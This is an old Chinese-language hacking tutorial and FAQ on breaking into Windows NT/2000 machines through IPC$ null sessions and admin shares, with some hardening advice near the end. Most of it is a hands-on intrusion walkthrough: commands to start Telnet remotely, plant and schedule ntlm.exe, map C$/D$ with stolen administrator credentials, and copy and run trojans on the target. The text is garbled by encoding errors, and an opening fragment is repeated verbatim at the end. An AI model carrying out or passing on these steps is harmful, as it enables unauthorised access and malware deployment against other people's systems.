B、另一種是關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù)(不推薦) net stop lanmanserver 可能會有提示說,XXX服務(wù)也會關(guān)閉是否繼續(xù)。因為還有些次要的服務(wù)依賴于lanmanserver。一般情況按y繼續(xù)就可以了。 C、最簡單的辦法是設(shè)置復(fù)雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。 D、還有一個辦法就是裝防火墻,或者端口過濾。IPC$入侵的高級手段與方法 每個“黑客”都不可能那么笨,非要一直等到下次企業(yè)系統(tǒng)管理員登陸以后才可以占有,往往“黑客”會使用更加巧妙的手法,迅速的留下后門。首先他們還是先建立IPC$連接,連接以后他們會使用各種手法開后門,比如打開Telnet服務(wù),“黑客”怎么打開Telnet服務(wù)呢?其實有很多種方法,比如微軟公司自己就出了一個小程序“netsvc.exe”就是專門讓系統(tǒng)管理員在建立IPC$連接以后遠(yuǎn)程打開服務(wù)用的管理工具,但這個工具到了“黑客”手中自然也成了必不可少的“黑客”工具了,在命令符下輸入“netsvc \\192.168.0.1 telnet /start”大概等15分鐘對方的Telnet服務(wù)就打開了,然后“telnet 192.168.0.1”嘿嘿……等!需要NTLM驗證,這下又把“黑客”攔在了外面了,這時他們又會用到一個小程序了,就是專門關(guān)閉一個NTLM驗證的程序ntlm.exe。(當(dāng)然也可以是其他名字)“copy ntlm.exe \\192.168.0.1\admin$\system32”把ntlm.exe復(fù)制到對方企業(yè)服務(wù)器的system32目錄下。復(fù)制過去了,可怎么讓他運行呢?當(dāng)然多的是辦法了。“net time \\192.168.0.1”看看對方系統(tǒng)時間為多少假設(shè)為18:00?,F(xiàn)在再輸入“at \\192.168.0.1 18:02 ntlm.exe”,等一會后,命令提示符顯示新加任務(wù) ID=0,意思是對方系統(tǒng)在18:02時運行ntlm.exe這個程序,等到18:02以后,然后再“telnet 192.168.0.1”嘿嘿~這回是提示需要輸入用戶和密碼了,輸入所得到的管理員用戶名和密碼以后就成功的Telnet到了企業(yè)服務(wù)器了…… 不過這樣一下是Netsvc,一下又是At實在是麻煩,現(xiàn)在就介紹另一個方法,首先還是先感謝微軟為NT系統(tǒng)管理員提供的方便的管理功能,這一功能到了“黑客”手中可說是“黑客”的福音,不用“黑客”再這么麻煩的輸入這樣那樣的命令了。建立好IPC$連接以后(IPC$連接果然是一種功能非常強大的管理連接),打開本地計算機里的“計算機管理”,用鼠標(biāo)右鍵點計算機管理窗口里的“計算機管理(本地)”里面有“連接到另一臺計算機”選擇它,在“名稱”里輸入“192.168.0.1”確定以后,首先你的NT系統(tǒng)會看是否建立IPC$連接,“有”就連接上去了,現(xiàn)在你就可以直接管理192.168.0.1了,比如看他的日志,啟動他的服務(wù)(當(dāng)然包括Telnet了),管理他的IIS,什么都有。多研究一下,連注銷對方系統(tǒng)當(dāng)前登陸的用戶,重新啟動對方計算機,關(guān)閉對方計算機都有,真是強大。NT系統(tǒng)到了“黑客”手中,整個系統(tǒng)都成了一個“黑客”工具了,而且是功能非常強大的“黑客”工具。啟動了Telnet了,可還是要NTLM驗證怎么辦?簡單,在本地計算機建立一個用戶名和密碼相同的用戶,如果已有就把密碼改為相同,然后使用這個用戶在本地重新登陸,“telnet 192.168.0.1”嘿嘿~連密碼都不用輸入了,因為通過NTLM驗證了啊。
現(xiàn)在那些安全意識差的企業(yè)系統(tǒng)管理員們知道了暴露了管理員密碼的危險性了吧?還沒完呢。都到這一步了......
關(guān)于ipc$、空連接和默認(rèn)共享問題的統(tǒng)一回答 首先需要指出的是空連接和ipc$是不同的概念??者B接是在沒有信任的情況下與服務(wù)器建立的會話,換句話說,它是一個到服務(wù)器的匿名訪問。ipc$是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應(yīng)的權(quán)限。有許多的工具必須用到ipc$。默認(rèn)共享是為了方便遠(yuǎn)程管理而開放的共享,包含了所有的邏輯盤(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$)。 常見問題和回答:
1,怎樣建立空連接,它有什么用? 使用命令 net use \\IP\ipc$ "" /user:"" 就可以簡單地和目標(biāo)建立一個空連接(需要目標(biāo)開放ipc$)。 對于NT,在默認(rèn)安全設(shè)置下,借助空連接可以列舉目標(biāo)用戶、共享,訪問everyone權(quán)限的共享,訪問小部分注冊表等,沒有什么利用價值。對2000作用就更小了。而且實現(xiàn)也不方便,需借助工具。 2,為什么我連不上IPC$?
1,只有nt/2000/xp及以上系統(tǒng)才可以建立ipc$。如果你用的是98/me是沒有該功能的。 2,確認(rèn)你的命令沒有打錯。正確的命令是: net use \\目標(biāo)IP\ipc$ "密碼" /user:"用戶名" 注意別多了或少了空格。當(dāng)用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。 3,根據(jù)返回的錯誤號分析原因: 錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權(quán)限的,先提升權(quán)限; 錯誤號51,Windows 無法找到網(wǎng)絡(luò)路徑 : 網(wǎng)絡(luò)有問題; 錯誤號53,找不到網(wǎng)絡(luò)路徑 : ip地址錯誤;目標(biāo)未開機;目標(biāo)lanmanserver服務(wù)未啟動;目標(biāo)有防火墻(端口過濾); 錯誤號67,找不到網(wǎng)絡(luò)名 : 你的lanmanworkstation服務(wù)未啟動;目標(biāo)刪除了ipc$; 錯誤號1219,提供的憑據(jù)與已存在的憑據(jù)集沖突 : 你已經(jīng)和對方建立了一個ipc$,請刪除再連。 錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了; 錯誤號1792,試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動 : 目標(biāo)NetLogon服務(wù)未啟動。(連接域控會出現(xiàn)此情況) 錯誤號2242,此用戶的密碼已經(jīng)過期 : 目標(biāo)有賬號策略,強制定期要求更改密碼。 3,怎樣打開目標(biāo)的IPC$?
首先你需要獲得一個不依賴于ipc$的shell,比如sql的cmd擴展、telnet、木馬。當(dāng)然,這shell必須是admin權(quán)限的。然后你可以使用shell執(zhí)行命令 net share ipc$ 來開放目標(biāo)的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。請確認(rèn)相關(guān)服務(wù)都已運行,沒有就啟動它(不知道怎么做的請看net命令的用法)。還是不行的話(比如有防火墻,殺不了)建議放棄。 4,怎樣映射和訪問默認(rèn)共享?
使用命令 net use z: \\目標(biāo)IP\c$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤,其他盤類推。 如果已經(jīng)和目標(biāo)建立了ipc$,則可以直接用IP加盤符加$訪問。比如 copy muma.exe \\IP\d$\path\muma.exe 。或者再映射也可以,只是不用用戶名和密碼了:net use y: \\IP\d$ 。然后 copy muma.exe y:\path\muma.exe 。當(dāng)路徑中包含空格時,須用""將路徑全引住。 5,如何刪除映射和ipc$連接?
用命令 net use \\IP\ipc$ /del 刪除和一個目標(biāo)的ipc$連接。 用命令 net use z: /del 刪除映射的z盤,其他盤類推。 用命令 net use * /del 刪除全部。會有提示要求按y確認(rèn)。 6,連上ipc$然后我能做什么?
能使用管理員權(quán)限的賬號成功和目標(biāo)連接ipc$,表示你可以和對方系統(tǒng)做深入“交流”了。你可以使用各種命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標(biāo)信息、管理目標(biāo)的進程和服務(wù)等。如果目標(biāo)開放了默認(rèn)共享(沒開你就幫他開),你就可以上傳木馬并運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。如果是2000server,還可以考慮開啟終端服務(wù)方便控制。這里提到的工具的使用,請看自帶的說明或相關(guān)教程。 7,怎樣防止別人用ips$和默認(rèn)共享入侵我?
A、一種辦法是把ipc$和默認(rèn)共享都刪除了。但重起后還會有。這就需要改注冊表。 1,先把已有的刪除 net share ipc$ /del net share admin$ /del net share c$ /del …………(有幾個刪幾個) 2,禁止建立空連接 首先運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous(DWORD)的鍵值改為:00000001。 3,禁止自動打開默認(rèn)共享 對于server版,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。 對于pro版,則是[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。 如果上面所說的主鍵不存在,就新建一個再改鍵值。 B、另一種是關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù)(不推薦) net stop lanmanserver 可能會有提示說,XXX服務(wù)也會關(guān)閉是否繼續(xù)。因為還有些次要的服務(wù)依賴于lanmanserver。一般情況按y繼續(xù)就可以了。 C、最簡單的辦法是設(shè)置復(fù)雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。 D、還有一個辦法就是裝防火墻,或者端口過濾。防火墻的方法就不說了,端口過濾看這里: 過配置本地策略來禁止139/445端口的連接 [url]http://www./txt/list.asp?id=98[/url] ; |
|
|